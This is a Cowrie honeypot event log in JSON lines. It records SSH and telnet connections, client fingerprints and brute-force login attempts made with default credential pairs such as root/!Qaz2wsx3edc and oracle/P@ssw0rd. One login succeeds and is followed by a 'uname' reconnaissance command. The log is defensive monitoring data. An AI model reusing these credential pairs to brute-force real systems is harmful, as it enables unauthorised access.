{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:48.742066Z","src_ip":"141.11.88.14","session":"2e56ad165385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:49.550565Z","src_ip":"141.11.88.14","session":"2e56ad165385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38914,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d1b32f711b","protocol":"telnet","message":"New connection: 128.199.8.54:38914 (159.203.135.109:23) [session: 99d1b32f711b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:50.089226Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:50.640558Z","src_ip":"141.11.88.14","session":"2e56ad165385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56262,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbabafcc76b8","protocol":"telnet","message":"New connection: 172.81.62.90:56262 (159.203.135.109:23) [session: cbabafcc76b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:52.575316Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44706,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e662efbe5d","protocol":"ssh","message":"New connection: 141.11.88.14:44706 (10.17.0.5:22) [session: e1e662efbe5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:55.212615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:55.328865Z","src_ip":"141.11.88.14","session":"e1e662efbe5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:55.332328Z","src_ip":"141.11.88.14","session":"e1e662efbe5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:56.263039Z","src_ip":"141.11.88.14","session":"e1e662efbe5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":58232,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d270ec142f","protocol":"ssh","message":"New connection: 197.5.145.150:58232 (10.17.0.5:22) [session: a2d270ec142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:56.833035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:56.837090Z","src_ip":"197.5.145.150","session":"a2d270ec142f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:56.956194Z","src_ip":"197.5.145.150","session":"a2d270ec142f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz2wsx3edc","message":"login attempt [root/!Qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:57.447201Z","src_ip":"197.5.145.150","session":"a2d270ec142f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:57.451362Z","src_ip":"141.11.88.14","session":"e1e662efbe5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:58.563411Z","src_ip":"197.5.145.150","session":"a2d270ec142f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e2b47ecb5e","protocol":"ssh","message":"New connection: 141.11.88.14:33588 (10.17.0.5:22) [session: 73e2b47ecb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:01.739889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:01.985896Z","src_ip":"141.11.88.14","session":"73e2b47ecb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:01.989423Z","src_ip":"141.11.88.14","session":"73e2b47ecb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:03.069618Z","src_ip":"141.11.88.14","session":"73e2b47ecb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:04.179749Z","src_ip":"141.11.88.14","session":"73e2b47ecb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d8443a4c709","protocol":"ssh","message":"New connection: 141.11.88.14:65096 (10.17.0.5:22) [session: 3d8443a4c709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:09.302360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:09.574708Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:09.577897Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.51810359954834,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:10.420652Z","src_ip":"128.199.8.54","session":"f1bd50feb7ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db5e80a0b66","protocol":"telnet","message":"New connection: 172.81.62.90:41568 (159.203.135.109:23) [session: 5db5e80a0b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.008104Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.272835Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.704363Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.707429Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.831886Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:11.837631Z","src_ip":"141.11.88.14","session":"3d8443a4c709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65140,"dst_ip":"10.17.0.5","dst_port":22,"session":"db85aedf32e2","protocol":"ssh","message":"New connection: 141.11.88.14:65140 (10.17.0.5:22) [session: db85aedf32e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:15.380948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:15.464850Z","src_ip":"141.11.88.14","session":"db85aedf32e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:15.745316Z","src_ip":"141.11.88.14","session":"db85aedf32e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:16.183007Z","src_ip":"141.11.88.14","session":"db85aedf32e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:17.471822Z","src_ip":"141.11.88.14","session":"db85aedf32e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18312,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac96a88eb42","protocol":"ssh","message":"New connection: 141.11.88.14:18312 (10.17.0.5:22) [session: 4ac96a88eb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:23.269351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:23.360609Z","src_ip":"141.11.88.14","session":"4ac96a88eb42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:23.363871Z","src_ip":"141.11.88.14","session":"4ac96a88eb42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madhuri","password":"madhuri","message":"login attempt [madhuri/madhuri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:24.540873Z","src_ip":"141.11.88.14","session":"4ac96a88eb42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"495b0fd56aeb","protocol":"ssh","message":"New connection: 197.5.145.150:45362 (10.17.0.5:22) [session: 495b0fd56aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:25.373425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:25.377965Z","src_ip":"197.5.145.150","session":"495b0fd56aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:25.607243Z","src_ip":"197.5.145.150","session":"495b0fd56aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:25.741482Z","src_ip":"141.11.88.14","session":"4ac96a88eb42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aovalle","password":"123456","message":"login attempt [aovalle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:26.087341Z","src_ip":"197.5.145.150","session":"495b0fd56aeb","protocol":"ssh"}
